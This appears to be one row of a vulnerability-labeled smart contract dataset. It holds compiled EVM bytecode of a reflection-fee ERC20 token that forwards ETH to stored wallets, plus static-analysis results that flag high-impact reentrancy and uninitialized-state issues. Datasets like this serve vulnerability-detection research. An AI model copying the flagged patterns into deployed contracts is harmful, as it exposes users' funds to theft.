12747565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61143560028461185890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611460573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6114b160028461185890919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156114dc573d6000803e3d6000fd5b5050565b6000600854821115611527576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151e90612430565b60405180910390fd5b60006115316118a2565b9050611546818461185890919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156115ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156115da5781602001602082028036833780820191505090505b5090503081600081518110611618577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116ba57600080fd5b505afa1580156116ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f2919061201a565b8160018151811061172c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061179330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610bb1565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016117f795949392919061254b565b600060405180830381600087803b15801561181157600080fd5b505af1158015611825573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6118538383836118cd565b505050565b600061189a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a98565b905092915050565b60008060006118af611afb565b915091506118c6818361185890919063ffffffff16565b9250505090565b6000806000806000806118df87611b66565b95509550955095509550955061193d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bce90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119d285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a1e81611c76565b611a288483611d33565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a859190612530565b60405180910390a3505050505050505050565b60008083118290611adf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad691906123ee565b60405180910390fd5b5060008385611aee91906126bc565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611b376b033b2e3c9fd0803ce800000060085461185890919063ffffffff16565b821015611b59576008546b033b2e3c9fd0803ce8000000935093505050611b62565b81819350935050505b9091565b6000806000806000806000806000611b838a600a54600b54611d6d565b9250925092506000611b936118a2565b90506000806000611ba68e878787611e03565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611c1083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611381565b905092915050565b6000808284611c279190612666565b905083811015611c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6390612470565b60405180910390fd5b8091505092915050565b6000611c806118a2565b90506000611c978284611e8c90919063ffffffff16565b9050611ceb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d4882600854611bce90919063ffffffff16565b600881905550611d6381600954611c1890919063ffffffff16565b6009819055505050565b600080600080611d996064611d8b888a611e8c90919063ffffffff16565b61185890919063ffffffff16565b90506000611dc36064611db5888b611e8c90919063ffffffff16565b61185890919063ffffffff16565b90506000611dec82611dde858c611bce90919063ffffffff16565b611bce90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611e1c8589611e8c90919063ffffffff16565b90506000611e338689611e8c90919063ffffffff16565b90506000611e4a8789611e8c90919063ffffffff16565b90506000611e7382611e658587611bce90919063ffffffff16565b611bce90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e9f5760009050611f01565b60008284611ead91906126ed565b9050828482611ebc91906126bc565b14611efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef390612490565b60405180910390fd5b809150505b92915050565b6000611f1a611f15846125e5565b6125c0565b90508083825260208201905082856020860282011115611f3957600080fd5b60005b85811015611f695781611f4f8882611f73565b845260208401935060208301925050600181019050611f3c565b5050509392505050565b600081359050611f8281612ba8565b92915050565b600081519050611f9781612ba8565b92915050565b600082601f830112611fae57600080fd5b8135611fbe848260208601611f07565b91505092915050565b600081359050611fd681612bbf565b92915050565b600081359050611feb81612bd6565b92915050565b60006020828403121561200357600080fd5b600061201184828501611f73565b91505092915050565b60006020828403121561202c57600080fd5b600061203a84828501611f88565b91505092915050565b6000806040838503121561205657600080fd5b600061206485828601611f73565b925050602061207585828601611f73565b9150509250929050565b60008060006060848603121561209457600080fd5b60006120a286828701611f73565b93505060206120b386828701611f73565b92505060406120c486828701611fdc565b9150509250925092565b600080604083850312156120e157600080fd5b60006120ef85828601611f73565b925050602061210085828601611fdc565b9150509250929050565b60006020828403121561211c57600080fd5b600082013567ffffffffffffffff81111561213657600080fd5b61214284828501611f9d565b91505092915050565b60006020828403121561215d57600080fd5b600061216b84828501611fc7565b91505092915050565b6000612180838361218c565b60208301905092915050565b6121958161277b565b82525050565b6121a48161277b565b82525050565b60006121b582612621565b6121bf8185612644565b93506121ca83612611565b8060005b838110156121fb5781516121e28882612174565b97506121ed83612637565b9250506001810190506121ce565b5085935050505092915050565b6122118161278d565b82525050565b612220816127d0565b82525050565b60006122318261262c565b61223b8185612655565b935061224b8185602086016127e2565b6122548161291c565b840191505092915050565b600061226c602383612655565b91506122778261292d565b604082019050919050565b600061228f602a83612655565b915061229a8261297c565b604082019050919050565b60006122b2602283612655565b91506122bd826129cb565b604082019050919050565b60006122d5601b83612655565b91506122e082612a1a565b602082019050919050565b60006122f8602183612655565b915061230382612a43565b604082019050919050565b600061231b602083612655565b915061232682612a92565b602082019050919050565b600061233e602983612655565b915061234982612abb565b604082019050919050565b6000612361602583612655565b915061236c82612b0a565b604082019050919050565b6000612384602483612655565b915061238f82612b59565b604082019050919050565b6123a3816127b9565b82525050565b6123b2816127c3565b82525050565b60006020820190506123cd600083018461219b565b92915050565b60006020820190506123e86000830184612208565b92915050565b600060208201905081810360008301526124088184612226565b905092915050565b600060208201905081810360008301526124298161225f565b9050919050565b6000602082019050818103600083015261244981612282565b9050919050565b60006020820190508181036000830152612469816122a5565b9050919050565b60006020820190508181036000830152612489816122c8565b9050919050565b600060208201905081810360008301526124a9816122eb565b9050919050565b600060208201905081810360008301526124c98161230e565b9050919050565b600060208201905081810360008301526124e981612331565b9050919050565b6000602082019050818103600083015261250981612354565b9050919050565b6000602082019050818103600083015261252981612377565b9050919050565b6000602082019050612545600083018461239a565b92915050565b600060a082019050612560600083018861239a565b61256d6020830187612217565b818103604083015261257f81866121aa565b905061258e606083018561219b565b61259b608083018461239a565b9695505050505050565b60006020820190506125ba60008301846123a9565b92915050565b60006125ca6125db565b90506125d68282612815565b919050565b6000604051905090565b600067ffffffffffffffff821115612600576125ff6128ed565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612671826127b9565b915061267c836127b9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126b1576126b061288f565b5b828201905092915050565b60006126c7826127b9565b91506126d2836127b9565b9250826126e2576126e16128be565b5b828204905092915050565b60006126f8826127b9565b9150612703836127b9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561273c5761273b61288f565b5b828202905092915050565b6000612752826127b9565b915061275d836127b9565b9250828210156127705761276f61288f565b5b828203905092915050565b600061278682612799565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127db826127b9565b9050919050565b60005b838110156128005780820151818401526020810190506127e5565b8381111561280f576000848401525b50505050565b61281e8261291c565b810181811067ffffffffffffffff8211171561283d5761283c6128ed565b5b80604052505050565b6000612851826127b9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156128845761288361288f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612bb18161277b565b8114612bbc57600080fd5b50565b612bc88161278d565b8114612bd357600080fd5b50565b612bdf816127b9565b8114612bea57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e83abf0329b3b6ec1ab738d524c5fadf3dc7c3444ceaaf0a6a3916f29bd9afa964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
| 3,799 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.